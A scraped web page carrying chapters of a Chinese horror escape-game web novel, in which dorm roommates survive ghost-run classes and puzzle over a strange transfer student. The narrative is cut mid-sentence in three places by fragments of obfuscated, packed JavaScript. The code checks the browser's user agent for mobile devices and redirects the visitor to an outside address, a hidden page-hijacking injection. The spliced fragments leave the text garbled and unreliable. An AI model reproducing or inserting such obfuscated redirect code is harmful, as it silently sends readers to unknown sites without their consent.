“在呢。”宁梨先是回应一声,腿跟着向阳台迈近一步,胳膊上的力量瞬间加大,她只好又扭头安抚性地拍了拍刘岚的双手,低语让刘岚冷静下来。 刘岚泣不成声,拼命摇着头,仿佛宁梨是自己唯一的救命稻草。 “梨梨,我真的好害怕,外面有好多好多鬼,它们没有脚,在走廊里飘来飘去的……我们会不会出不去了?” “不会的岚岚,肯定有办法能出去。” “我为什么要玩这个游戏……太可怕了呜呜……” 女孩哭得上气不接下气,靠在宁梨身上,无意识地呢喃着。 果然整个216宿舍都是和自己一样的玩家吗……宁梨看着稳如磐石的宿舍门,门外那些鬼,听刘岚的描述像是游魂,这让她产生一个模糊猜测。 宁梨扶住刘岚,尽可能轻柔地问:“岚岚,你有没有看清那些鬼的样子?” “样子?”刘岚的眼神有些迷茫,“她们无限接近透明……好像有的头上带着发带?” “洗漱用的那种还是日常戴的那种?” “应该是……洗漱用的吧?”刘岚说完,还冒了个鼻涕泡泡。 宁梨“噗”笑了声:“我们去拿点纸巾擦擦鼻子。” 刘岚也破涕为笑,乖乖跟着她到书桌前用纸巾擤鼻涕,丢进还没收起的垃圾袋里。 “怎么又哭了?”麻溜洗完脸的沈慕斯看见两人,站在阳台门口进也不是不进也不是。 “刚才岚岚打算出门的时候撞鬼了。”宁梨帮忙解释,“她说打开门看见好多,就又一下子给关上了。这是吓的。” 沈慕斯:“鬼?” 在放漱口杯的李诗书和正搓校服的江霖霖先后回头。 李诗书用毛巾擦干手上的水:“很多鬼?有影子吗?是女生?” 宁梨:“呃。岚岚?” 刘岚:“没有影子,是飘着走的女生。” 李诗书点点头:“那就对了,应该大多都穿着睡衣。” 她拍拍沈慕斯的肩示意让开,自己先走进来到衣柜前准备换校服。 “什么意思啊梨梨?”刘岚攥紧宁梨的睡衣衣摆,不自觉依靠她。 “那些鬼估计是昨晚死掉的女生。”宁梨说,“岚岚,我得先去洗漱了,你先和沈沈阿诗她们待一会儿,好吗?” “可是……”刘岚惧怕地朝李诗书看去一眼,李诗书全然没有理会她的意思。 刘岚咬着下唇点头,“好吧,梨梨快去刷牙洗脸,我等你。” * 等到阳台传来接水的声音,沈慕斯才悠悠开口:“我们好像还忘了点什么。” 李诗书对着墙贴镜整理校服:“上铺那位?” 沈慕斯露齿一笑:“对,麻烦你去看看,我还没换校服。” “……” “看在你昨天一马当先的份上。” 李诗书攀着四号床的栏杆上去,白发女生犹在睡梦之中,不知什么时候重新转成平躺姿势,唇边还有一抹弧度细微的笑容,看上去就和童话故事里的睡美人一样令人沉醉。 李诗书轻轻扯动她双手压住的柔软被子,女生细长卷翘的睫毛颤动几下,随即缓缓睁开眼睛。 “该起床了,今天周一。”李诗书硬邦邦地说。 虞璃撑着身侧慢慢坐起,再次打量了一下周围的环境,尤其看向宿舍门顶部的玻璃窗时,她停顿了最长的时间,之后便平静地收回了目光,垂眸打了个小小的哈欠。 她似乎说了什么,但是李诗书只看见她唇瓣微动,没听到任何内容。 总之一系列举动完成以后,新舍友兼转校生虞璃对李诗书说了声谢谢。 李诗书踩着栏杆回到地面,换上自己的运动鞋,身后又传来沈慕斯的声音。 “虞璃,外面是不是有鬼?” 虞璃边玩手机边答:“有几十只阿飘,不过放心啦,都不怎么吓人,眼睛是眼睛嘴巴是嘴巴的。” “全是鬼吗?” “反正我没看到人诶。” 虞璃说着,似乎意识到什么,抬起头眨巴眨巴眼睛,“这不会是那种……整栋宿舍楼只有一间宿舍全员存活的设定吧?” 沈慕斯和李诗书对视一眼。 很好,确定了,这人大概率是个玩家。 * 216宿舍阳台。 宁梨打开水龙头接水,往牙刷上挤牙膏。 哗哗水声中,混入一道听起来不怎么友善的声音。 “你浪费的时间可真不少。” 这是在指责她刚才陪伴、安抚刘岚? 宁梨对江霖霖没有几分好感,轻轻皱眉,拿起牙刷自顾自漱口。 江霖霖:“该说的我刚才都和李诗书她们说了,本来没兴趣再重复一遍,但看在你也搭了把手的份上……” 既然已经告诉李诗书和沈慕斯,那么宁梨现在可听可不听,她对沈慕斯充分信任。 之所以没有直接打断江霖霖,是因为宁梨很想知道,江霖霖会不会在两次透露的信息上面动手脚。 “时间不多,我长话短说。那些怪物都是可接触的,不仅你的身体,所有工具也能触碰到他们。” “也就是说,我、你、我们,是可以直接对它们造成伤害的。” 宁梨心神一震。 “这是你们救我的报酬。除此之外,对于你,我还有一个特殊的忠告。” 江霖霖倒掉最后一盆已经没有任何血色的水,手上动作不停,眼睛却紧盯着宁梨。 “我知道你和李诗书她们现在是同盟,但是宁梨,这不是一款普通的逃生游戏。在身临其境的前提下,不论你原本脑海里有多么周密的计划,没有真正经过训练都是无法实施的。你的身体机能也不会像操纵游戏角色那样短期发生巨变。” 宁梨刷牙的动作停了下来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12380469|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是她在游戏开始后时刻警惕,不放过任何蛛丝马迹,刘岚的伪装不说天衣无缝,也算得上完备妥帖,轻易难以看穿。 那玩家之间,想来也不会像现在这样相安无事。 后面的沈慕斯和虞璃也进一步印证了李诗书对体育老师身份的推测。 点完名,体育老师将夹板往地上一放,厉声命令众人列队、向左转、成四路纵队耐力跑五圈,要求纵队整齐,纵队之间不做限制。 也就是说,这五圈怎么跑,累不累,全看每一路纵队的排头。 左低右高,左边第一位是每一排个子最矮的学生。 李诗书三人在第一排,江霖霖三人在第二排。 哨子一吹,各排排头就迈腿起步。 不消十秒,女生两路纵队排头的特点就看得很明确了。她们奔跑的速度不算变态,但是对于玩家来说,绝对超出了寻常学生的平均水平。 如果以这种速度匀速五圈,李诗书感觉自己和沈慕斯没什么问题,宁梨就说不好了。 再看另一路纵队,刘岚瞧着不怎么为难,江霖霖目前看着也还好,倒是虞璃,表情明显有几分痛苦。 ……老玩家在体力方面反倒不如新玩家吗?个人基础数值不可提升?那各项数值又是以什么来定的? 李诗书内心瞬间闪过一连串问题,又按捺住没有再想下去,毕竟再怎么聪明,她一个毫无经验的新玩家也没法凭空想出个所以然。 两分多钟后,一件出乎包括鬼怪在内所有人的事情,发生了。 * 一圈四百米结束,队列里跌跌撞撞跑出一个漂亮女生,白色卷发被发圈随意扎在脑后,白皙如玉的面容覆盖一层薄汗。 赶走学生后就站在起点,靠坐着主席台旁大阶梯的体育老师眯了眯眼,露出一丝不易察觉的狞笑,仿佛看见一块甜美可口的小点心正在朝自己走来。 白发女生的轨迹混乱成了S形,她险些撞上体育老师,双手摁在男人毛发旺盛的胳膊上。 体育老师即将显露的关怀笑容就那么僵在了原地。 女生抬起头,即使出了一层汗,她的美貌在阳光下依旧耀眼到胜过太阳的光辉。 “老师,我今天实在不能跑步,可以到旁边休息吗?” 体育老师僵硬的面部肌肉随着她的话语抖动几下,眼神满是不可置信,嘴角笑容一点一点消失。 他缓缓抽出手臂,似乎怕惊扰到女生一般,连带着声音都轻柔不少:“当然。当然可以!你就去旁边休息吧!” 已经跑过起始点,回头关注结果的其他玩家:…… 坐坐坐坐下了?就这么坐下了? 唯一清楚内情的刘岚埋头跑步,默默又给自己的精神损失费添上一笔。 * 见虞璃没事,李诗书想着第二圈会不会有人效仿。 第二次回到始发点,果真队伍里有好几人又出了队伍,因为李诗书不能停下也不能跑的时候不看路,所以不知道他们究竟说了什么或者做了什么,总之都安然无恙地在体育老师左右坐下了。 第三圈完,队伍里没人动,第二路纵队队尾的江霖霖已经有些跟不上了,和前一人之间的距离比其他人之间的距离都大,过不了多久就会掉队。 李诗书往前看了一眼,她也是队尾,前面的人都在规规矩矩跑步,女生队伍整齐有序地行进着,配上这怪异安静的氛围,活像是一路阴兵。 她伸出手,向后拽住江霖霖的手肘往前拉。 汗流浃背的江霖霖正觉得浑身冷热交替——冷汗连连身体却又发烫,手臂大腿全是鸡皮疙瘩,呼吸也有些乱掉,步子不知不觉就慢了下来。 倏然被人一拽,她沉重的步子陡然间轻快许多。 顺着那只手向前看去,女生马尾一摇一晃,衬着阳光,灼热了眼。 对方没有回头,但那只手却牢牢地抓在她胳膊上,借给她可以依托的力量。 靠着那股力量,江霖霖用力摆开左臂,大步向前,追上了自己的队伍。 15. 早饭【有增加】 五圈下来,李诗书和刘岚状态尚佳,沈慕斯撑着膝盖换气,还得看紧身旁时刻想蹲下的宁梨。 好歹四人还能站住,江霖霖情况糟糕到站立都困难,周围其他同学都跟没事人似的,李诗书只能借着相近的身高挡在她前面,除此之外再帮不上什么别的忙了。 体育老师走上前来。 “体委出列,先带大家做准备活动,都认真做啊,把身体活动开了。今天任务重着呢!” 跑步后做准备活动这一安排也很普通,虽说往常体育课都不跑耐力跑而是热身跑,至多慢跑三圈足够。 不过准备活动起码能让几人缓冲一下。 做准备活动的途中,因为有体育委员喊口令、带操,体育老师就清闲下来,绕着方阵转悠,时不时纠正一下动作幅度不够大的学生。 那种如芒在背的窥视感,使玩家们不得不调动全身的感官去警惕异动,好在体育老师似乎真的只是单纯地纠正动作,连幸运中奖的宁梨也在迅速调整好后就被轻轻揭过。 这样一来,体育老师口中的任务,就令几人不约而同心生揣测,思虑着十有八九考验就在后头。 如此完整一套认认真真做下来,倒是也并不如想象中那般轻松。 紧接着,体育老师点了几名学生出列,去器材室拿器材,而其他学生则被带到跑道一侧的绿化带前。 绿化带被围起来,围砖与地面有近十公分距离。 “交换腿台阶跳。一排一排上前,五十个一组,所有人做完第一组再从头开始。” “老师。”沈慕斯问,“这个做完做什么?可以提前透露一下吗?” 体育老师抱臂看她一会儿,露出个笑容来,像是送人上路前要叫人死个明白:“没什么不可以的。” “交换腿台阶跳做完,还有五组折返跑,两组俯卧撑和三组收腹跳。” “……” 沈慕斯朝李诗书看去,两人对视,心照不宣。 这也算死得明白了。 怪不得体育课老师看着完全没有想找茬,就仅是按部就班完成自己的课程工作。 ——因为单凭课程安排,已经足以让玩家无力消受,主动认输! 其他同学都能完成课程安排,而她们没有完成。 要么给出能说服老师的理由,要么就像沈慕斯所说——干脆直接开干。 说服老师的活计李诗书觉得必定有坑,虞璃她说不清楚是怎么回事,不过老玩家想来不缺应对法子。而在虞璃后面出列的可都是鬼怪学生,凭这一点很难让她相信他们不是诱饵。 好在李诗书早有准备。 先前花费的心思到底是不是无用功,马上就能见分晓。 李诗书在体育老师的口令下跟着同排同学上前一步,右脚踏阶,开始做第一组交换腿台阶跳。 老实说,如果不考虑游戏背景,她还觉得这个训练动作挺有趣的,三组一点也不累。 但是放在这样的情境下,真是让人开心不起来。 这一天什么时候才能结束。 她好累。心理上那种。 * 宁梨跳完一组,跟着其他同学走到第四排后面继续排队,看别人都和左右开始聊天,她才终于敢同沈慕斯说话。 天知道一个平时没几句话的人,在被剥夺开口说话的资格后居然也能那么难受。 “沈沈。” “啊。”沈慕斯被扯了下手,这才扭回头,“你现在感觉怎么样?” 她这么一问,宁梨就把到嘴边的话咽了回去:“嗯……还挺好?” “没什么不舒服?” “没什么不舒服。——刚刚跑完步是挺难受的,做完准备活动之后好像就好了不少。现在一丁点儿感觉都没了,就是有点口渴。” “那就好,这节体育课我们应该能顺利度过。” “诶?”宁梨一惊,“我……不行吧?现在这个估计是所有内容里最简单的一项,后面的随便哪个做两组我都会腿软,更别说全做了。” “没事,你试试就知道了。如果不行,咱们再想别的办法。” 沈慕斯话虽这么说,但语气中却透露出一股笃定。 宁梨摸不着头脑,难道沈慕斯和李诗书又计划好了什么吗?时间太紧张了,她们没有时间告诉她所有商量好的事情,常常是等出了结果再告诉她。 要是换了别人可能会觉得有点不爽,但是宁梨却不认为这样有什么不好。 人的潜力会在十分危急的境况下被激发出来,如果她提前得知了李诗书的计划,可能她背诗时就不会有那种死生一线奋力冲刺的感觉。 人一旦有了退路,精神就会变得松弛。 所以现在,宁梨也没有追问沈慕斯缘由,只是告诉自己,一定要尽可能地多坚持一会儿,能多做一部分就多做一部分,不要辜负了两位队友的信任与期望。 交换腿台阶跳排在第一位,果然是最轻松的一项,宁梨直到做完都没感觉一丝疲惫,和沈慕斯站在一起等其他三排做完。 “——沈沈,阿诗说游戏规则性很强是吗?” “是啊,咱们不是都体验过了么?” “呃。”宁梨语塞,呆呆望着远处的某人,“那她是怎么回事?” 沈慕斯循着她的视线看去,陷入了深深的沉默之中。 白发女生光天化日之下,戴着耳机双手按在手机屏幕之上,看那姿势、那动作,百分之二百是在玩游戏。 和在宿舍只有舍管老师和其他人不同,这可是在室外有好几个班级的操场! 半晌,沈慕斯幽幽道:“她……她和咱们不一样。” 说着,沈慕斯上手挡在宁梨眼前。 “别看了,伤身。” * 体育老师口中的器材指的是折返跑的彩色塑料三角桩,用来摆在塑胶跑道内部绿茵场作折返跑的标记。 体育老师招一招手,第一排女生便齐齐上前几步,摆好起跑姿势,做足准备。 哨子被老师叼在口中,他腮帮一鼓,刺耳哨声短促尖锐。 李诗书一马当先,沈慕斯与其他同学齐平,宁梨发觉跑过身侧的人越来越多,几乎没什么人和她同一水平线了。 她跟着跑到折返点,摸地的时候,足尖发力,一点地面加速向前,并入大流完成第一轮。 这时她也不再担忧什么有的没有,走到体育老师面前询问:“老师,这些项目只要完成就可以吗?没有别的要求了?” “当然了,这又不是考试。”体育老师和蔼地说。 那就好,她后面就不用每次都那么拼命。 “——不过如果慢到下一组都开始了还没到达终点,我会视为上课态度有问题。” “……” 看来她还是得注意一下和前一名之间的距离。 宁梨走回沈慕斯身边,发现沈慕斯和李诗书都看往同一个方向。 沈慕斯留意到她过来了:“江霖霖好像快不行了。” 怎么突然就…… 看见江霖霖正在大口大口喘气,不久前的冷脸如今看不出半点血色,腿部似乎还有些颤抖,宁梨一下子就打住了思绪。 她突然记起,江霖霖身上还有伤。 天哪!江霖霖该不会是顶着那样的身体跑了两公里吧?? “要……帮她吗?”宁梨小心翼翼地问。 其实宁梨问出口的同时也已经在替江霖霖想办法了。 李诗书说游戏重视规则,鬼怪也要服从于规则,那她只要帮江霖霖想一个合理的借口便可以蒙混过关。 “暂时不。”沈慕斯说。 “——为什么?”宁梨十分诧异,之前两位舍友可是非常主动地帮江霖霖包扎收拾,虽说那其中的部分原因是为了自己,但是情绪很难作假,关心也是真实存在的。 沈慕斯没有时间回答她,因为第一轮结束,又该她们出发了。 * 按照前半段留力后半段发力的跑法,宁梨又完成了一轮。 站在等待圈的跑道线上,她从前排空隙中看出去,找到江霖霖的身影。 江霖霖在同排里跑得最慢,刚起步五六秒就被落下一大截,而且随着时间增加,距离不减反增。同排第一名再次与她擦肩而过时,她还没完成前半程。 这太慢了。 这样不行! 宁梨心头愈发紧张,眼看着继第一名抵达终点后,完成的人越来越多,最终只剩下江霖霖。 绿茵场外围的体育老师背手等待着,宁梨知道这个等待时长是五秒。 五秒一过,就该下一组了。 视野里的江霖霖已经将步子迈得很大了,宁梨想那就是她眼下尽全力能做到的极致,可还是来不及。 时间归零的刹那,江霖霖往前一栽,扑倒在地面上,还向前擦了一段距离。 嘶—— 宁梨光看着就觉得胳膊、额头火辣辣的。 哨声没响,宁梨看向背对着她的体育老师,江霖霖会被怎么办? “第二排来两个,把她扶起来,到旁边坐着去。” ……不用去医务室? 宁梨不解。 话音未落,第二排就走出两人,刘岚正在其中。 宁梨抠着手心,刘岚是不是故意出了列?现在这么虚弱的江霖霖,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁梨连忙问她:“阿诗,你们体育课前做了什么?” 沈慕斯挽住她的胳膊,边走边说:“你猜猜?” 发现异常是因为她自己和记忆里的自己相矛盾,所以只需要从她进入游戏后经历过的事情想起。 昨晚在宿舍,其实她们是犯了错在遮掩,应该不会反倒从中获利。 是在今天么? 出门、食堂、吃早饭——对了!早饭! 宁梨:“是和吃的东西有关吗?” 沈慕斯:“bingo!很简单吧?” “你们怎么知道早饭会和体育课有关?”宁梨好奇地问。 李诗书说:“我不知道它们有联系,但我知道早餐是三餐里至关重要的一顿,俗话说‘早饭吃好、午饭吃饱、晚饭吃少’。对于想要减肥的人来说,早饭也是唯一一顿可以敞开了吃而不用担心长胖的正餐。” “豆浆油条这种搭配虽然不能天天吃,但是放在我们这种时候再合适不过。从结果看,吃饭应该算是在补充体力值,你吃得多补得多,消耗也慢,自然也就不会累了。”沈慕斯补充。 “所以算是顺势而为,具有一定的巧合性。”李诗书淡声道。 “……”宁梨不信。 真是巧合,沈慕斯才不会是那副成竹在胸的架势。 就算是赌对了,那也得先敢赌才是。 她又沾了队友的光啊。 * 江霖霖被按在虞璃身边,人才舒了口气。 虞璃打游戏的光被她挡住,皱眉一瞅瞳孔地震,取掉单边耳机:“……你上哪儿摔的?” “跑步啊。你说这逃生游戏是不是有病啊?怎么还真让人跑步做操?” 虞璃作思考状:“可能这就是游戏的特色吧?” 别说,这梦真的很完美,连玩家性格都各式各样。 太逼真了,令她都有点怀疑自己了。 “我刚才还在担心会不会被鬼就地正法,幸好没有。” “嗯哼,你脸上伤还疼吗?” “诶你不提我都忘了,奇怪,刚才明明很疼,好像靠近你之后就好多了。” 虞璃:“……” 看着江霖霖的伤口肉眼可见地从深红逐渐变成浅红,触目惊心的狰狞伤处缓慢恢复—— 虞璃撇过脸,继续打游戏。 见鬼,她不该动摇的。 这绝对是梦啊!!! 16. 记忆 宁梨三人走在回教室的路上。 解答完宁梨的困惑,沈慕斯倒是又提出了一个问题:“梨梨,你怎么一点不害怕?” 宁梨愣了一会儿,才反应过来她指的是那些已经死去的同学。 “或许是因为,她们现在都是人的样子,除了行为举止奇怪一些,也没有什么别的异常。只要不过多去在意她们,当她们不存在,好像就没什么可怕的。” 她说着说着露出个小小的笑容:“我一开始还以为她们会攻击我们,就像在宿舍那会儿一样。” “是啊,最好别出什么意外。”沈慕斯说。 宁梨:“……你是想到了什么吗?” “不要乌鸦嘴。”李诗书睨来凉凉一眼,沈慕斯刚张开的嘴巴就又闭上了。 宁梨:“?” 沈慕斯笑笑:“阿诗说得对,还是先别说出来比较好,这种游戏里,最常见的就是好的不灵坏的灵了。阿诗,下一节是什么课?” “数学。” * 数学老师是个戴黑框眼镜的女人,她走进教室时脚步风风火火,不像是来教书,倒像是来打仗。 一上讲台,她就将手里拿着的三角板重重拍落在桌面上,寒光自她眼中一闪而过。 下一秒,数学老师就叫众人欣赏到了她得天独厚的大嗓门,不需要喇叭也能从高二(五)班教室内传到教学楼楼顶去。 “是谁不找我开假条就让体育老师批假!” 这好像……是个疑问句吧? 宁梨感觉自己心头那根弦也跟着颤了三颤,话放数学老师嘴里,怎么跟感叹句似的。 谁也没有出声。 数学老师冷冽的目光如同一只等候时机的猛兽,气场威压远胜舍管、纪检长和前面的两位老师。 “再问一遍!是谁未经允许违反校规,私藏手机不上缴,还公然在课上使用?” 这毫无疑问是虞璃了。 宁梨偷偷摸摸朝后面看去,虞璃会像前两次那样,公然和一个暴走边缘的鬼怪叫板吗? 不过,好像和舍管老师的那次,虞璃不是有意识的状态。 第五列最后一排单人座。 一本崭新的数学必修教材摊开盖住趴着的女生脑袋,部分发丝从桌边垂下。 修长手指从头顶抽走教材,虞璃理理头发站了起来,规规矩矩道:“老师,您叫我啊?” 数学老师眼皮顿时一跳,之后便是不断抽搐,她死死瞪着虞璃白色的长卷发,眼珠子都要飞出来了。 “老师?” 数学老师陡然回神,抓起桌上的三角板又是重重一拍:“你给我站外头去!没有我的允许,不准回来!” “噢。”虞璃转身就走,还顺便从桌肚里捞走了自己的手机。 想都不用想,她绝对会在外面玩得不亦乐乎,巴不得不回来上这节数学课。 宁梨一面腹诽一面转回来面朝讲台,恰巧看见数学老师呼出一口气,神情骤然一松,先前震慑四方的恐怖气势呼吸间荡然无存。 ……好像有哪里不对劲? 舍管老师去拽虞璃然后发出尖叫,体育老师不需要假条也允许虞璃休息、后面本来想要对江霖霖做什么却一看见她在虞璃旁边就很快放弃了,现在数学老师兼班主任在发了那么大的火以后,居然也仅仅只是将虞璃赶了出去——雷声大雨点小,反叫人觉得她一开始只是虚张声势。 他们对虞璃的态度……很显然是惧怕啊! 同样是玩家—— 为什么差别这么大? 仅仅是因为她比她们过的副本多吗? 但是舍管老师和体育老师还和虞璃有过肢体接触,数学老师呢?数学老师明明只是看了虞璃一会儿啊? 难道鬼怪仅凭看,就能判断玩家的水准吗? 太奇怪了。 包括虞璃和其他人不同的进入游戏方式,宁梨此刻又想起了这一点,连伪装成玩家的刘岚都不是凭空出现的,虞璃为什么会……? 还有江霖霖那莫名消失的伤疤。 宁梨再次对虞璃的身份产生了怀疑。 她绝不是一名普通玩家,但也不是李诗书她们一语带过的老玩家那么简单。 数学课后,她或许可以去找虞璃问上一问。 ——幸好虞璃对她们没有恶意这一点板上钉钉。 “接下来,我在黑板上写一道题,给你们十分钟计算答案。到时间后,我抽一名同学来说答案,再抽一名同学来为大家讲解。” 宁梨拿出演算本,看数学老师挑了个没用过的粉笔头掰成两半,拿一半在黑板上书写题目。 数学老师没写几个字,宁梨脑海中就自然而然地冒出了一个词。 ——选择压轴题。 这似乎是本能反应,但是宁梨再次察觉到了不对。 虽然脑海中的记忆很像是她的记忆,她确实也调动自如,但多数时候“调动记忆”的这一步骤,是不可省略的。 换言之,本能性的意识、行为,必须是“原主”万分熟悉,根深蒂固的。 原主的数学平平无奇,不要说选择压轴题了,她平时连倒数第二道选择题都是选择性尝试的。 宁梨惊诧地眨了下眼睛。 这会是,另一份记忆吗? 会是,她自己,原本的记忆吗? 可是—— 宁梨望着题目,现在继承了“宁梨”身份的她,根本做不出这道题啊。 低头冥思苦想、丧气懊恼之际,鞋面突然被什么砸了一下。 “梨梨。” 沈慕斯声音小到仿佛幻听:“帮我捡一下橡皮。” 宁梨俯身去拿,看见橡皮上绑住了一根折星星的长纸条,她一抬眼,沈慕斯挑挑眉毛,眼里盛满鼓励的笑,朝她微微点了下头。 数学老师没有发现两人的小动作,宁梨顺利地取下了纸条,将橡皮还给了沈慕斯。 她一点点把长纸条展开,上面俨然写着一个代数式。 * “宁梨。”数学老师说,“你来回答。” 答案已经在嘴里咀嚼了千万遍:“四倍根号三减四。” 数学老师沉默了一会儿,似乎有些不甘心就这样让她坐下,但是最后她还是弯了弯手指:“答案正确,坐下吧。” “沈慕斯,你来给大家讲这道题。” 这对于帮助宁梨作答的沈慕斯自然不在话下,沈慕斯流畅地念了一遍草稿纸上的解题步骤,数学老师板书的速度都有些跟不上了。 沈慕斯念完,数学老师红润的气色也削弱三分。 刘岚单手撑着额头,挡住自己的视线不愿再看。 太惨了。 实在是太惨了。 上午都快结束了,玩家逃生失败率还是0%。 这次副本恐怕会成为Survivor上线发行以来,鬼怪最失败的一次。 为她的同事默哀五秒钟。 * 数学课下课以后,李诗书和宁梨同时起身,李诗书朝沈慕斯和宁梨的座位走来,宁梨朝教室外走去。 “诶梨梨!你干什么去?” 宁梨回头说:“我想找虞璃问点事,待会儿回来再说。”她还想赶紧去看看下课以后,数学老师会不会再去找虞璃的麻烦。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12380471|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宁梨话没说完就继续往外走,李诗书本想出口的话没机会再说。 沈慕斯摸了下鼻尖:“她怎么那么着急?” “待会儿问问就知道了。”李诗书说,“我来是想和你商量个事。” “我想找虞璃问问关于游戏的规则、设置这方面的东西,你觉得可行么?” 一听这话,沈慕斯也正色起来:“不好说。” “你也觉得她不一定会讲?” “对。她要是想,早就说了。” * 宁梨走出教室时,数学老师正在和虞璃说话,两人之间隔了一米还要远。 只听数学老师一句“下节课你就可以回去了”,便拿着教具快步离去。 宁梨后仰身子进教室再看了眼,后两节课是自习,随便看看书大概就能糊弄过去。 真不敢相信一个上午就要这么过完了。 她刚上前几步,靠着墙的虞璃忽然调转方向,朝远离她的那一边走去。 临到前门,又往教室里一探头,叫了声“刘岚”。 这下,宁梨有点拿不准还要不要上去了。 “你想问她什么?”沈慕斯不知什么时候也过来了,同宁梨站在一起,看着虞璃的侧脸。 没什么不可以说的。 “我想问问她究竟是什么人。”宁梨说完,发现李诗书也在,干脆把自己的想法都告诉了两人,还有那份异常的记忆,又问了两人有没有类似情况,沈慕斯和李诗书都说没有。 紧接着,李诗书也把自己和沈慕斯的猜测告诉了宁梨。 “她们好像是要去厕所。”沈慕斯看着两人远去的身影,蓦地说,“其实我也有点想去。” “那一起去吧,万一待会儿自习课上想去,恐怕没那么容易。”李诗书说。 沈慕斯:“梨梨去吗?你也可以在教室里等我们回来。” 宁梨猛地摇头。 半个教室都是鬼,她还是和她们呆在一起比较安全。 * 要问刘岚为什么会被叫出来,必须把时间倒回至早自习前,虞璃向刘岚发出邀请的时候。 一起走的“一起”,代表着距离接近。 偏偏两人是一个想靠近一个想远离,虞璃每朝刘岚迈出一步,刘岚就跟受了惊的兔子一样往远离虞璃的方向蹿一大截。 折腾半天终于到了教学楼,刘岚进小卖部买早餐,虞璃跟着一起进去,并且毫不客气地说:“我还没给校卡充钱,作为最具缘分的舍友——” 刘岚把卡塞到虞璃手上,两只眼睛一边写着“你别”,一边写着“说了”。 虞璃:“你人真好。” 刘岚:“……” 虞璃拿了一盒饼干、一盒豆奶、两块面包和一个小蛋糕,都是同类食品里最贵的那档。 收银时刘岚压根没看,愤愤地咬下一大口肉松面包。 虞璃抱着一堆吃的在小卖部外面的椅子上坐下,和刘岚边吃边聊,进行了朋友间的友好交流,对学校的了解又增进了几分。 其实虞璃还想问点关于npc待遇的问题和副本里的boss,无奈刘岚在这两方面守口如瓶,只答应如果虞璃有需要她一定陪同在侧。 因此也就有了仪容仪表检查时的等待,以及虞璃打算去厕所时的陪伴。 “厕所里是不是有东西?”虞璃再次尝试打听。 刘岚已经完全进入贤者状态。 她神情麻木:“你进去不就知道了。” 这么小心翼翼,搞得好像有鬼你就会死一样。 不管了,先给马上要受到冲击的下一位同事点根蜡吧。 17. 结束【作话补充】 厕所,恐怖片必不可少的经典高能场景之一。 学校里的厕所,对于虞璃这种资深恐影观众来说,更是恐怖系数指数翻倍。 要是让她来安排这次梦境的背景设置,她一定会重点利用这部分区域,多塞几个样貌可怕的鬼怪,游魂那种段位的太废了。 三十六中的厕所进门正对格挡板,格挡板和门右侧之间有一个洗手台。 左拐多走进去一点有两排隔间。 刘岚:“你快去上。” 所有隔间门都呈敞开状态。 明明是课间,整层楼那么多班级,居然没有一名女生来上厕所? “鬼有排泄系统吗?”虞璃倏地问。 一阵沉默后,刘岚抓狂道:“没有!” 虞璃若有所思:“只有‘玩家’才会进入这里,所以是直接帮NPC排除了干扰项啊。” 刘岚:“你到底上不上厕所?” 虞璃:“上,怎么不上?” 虞璃二话不说,推开洗手池旁,也就是进门正对那排隔间第一间门,走了进去。 虞璃握着门把,一根手指抵在门把与门板的空隙,身前是最常见的蹲厕和冲水器,厕所有一扇向阳窗,白天没开灯能见度也不算差。 虞璃松开手指,门轻轻地撞上防护边,又少掉一部分光亮。 虞璃站在一边,并没有蹲下上厕所,于是她亲眼看到,围住隔间的四块挡板不断向上延伸—— 光源一点一点减少,虞璃被剥夺了视觉。 “刘岚?”她用正常的音量叫了一声,如果刘岚没有离开厕所肯定能听见。 确定没有得到刘岚的应答,虞璃掏出手机解锁看左上角。 好嘛。 没信号。 不同空间? 江霖霖有说她昨晚也遇到了类似鬼打墙的东西,觉得是套娃副本。 虞璃把手机又塞回校服口袋里,视野瞬间一片漆黑。 什么都看不到,这也不可怕啊? 对于怕黑的人来说可能还有点效果。 到底有没有鬼? 虞璃的手指在兜里摩挲着手机壳,不是她不想上厕所,是她不想被鬼围观上厕所。 她耐心很有限的,如果这鬼磨磨蹭蹭半天不出来,她可保不准自己会做出什么事情来。 * 厕所门外,三颗脑袋整整齐齐靠在墙上。 “奇怪。你们听到声音了吗?” 个头第二高的沈慕斯忍不住问,明明看见刘岚和虞璃进去了,怎么没一点儿声音? “嘘,小声点。”李诗书心里也正奇怪,她们来这也有一会儿了,按道理课间厕所应该进出频繁,怎么会这么久没人出来,而且同时也没人过来。 宁梨小声建议:“我们要不要进去看看?可能她们撞见……了?” “那还用说吗?妥妥的。”沈慕斯啧了一声,又说,“假如虞璃折里面了,咱们进去不是直接白给?” “不至于吧……刘岚也进去了。”宁梨踌躇道。 李诗书:“应该没事,再观望观望。” “……?” “我就是觉得,”李诗书停顿一秒,“不搞出些动静来,不像她的风格。” 沈慕斯被说服了。 “有道理。” 未料三人来不及等虞璃的动静,先同一时间觉察到背后袭来阴风阵阵。 李诗书飞速回头。 远处高二(五)班前门,依然穿着运动服的女生单手拽着书包夺门而出,朝前一路狂奔。 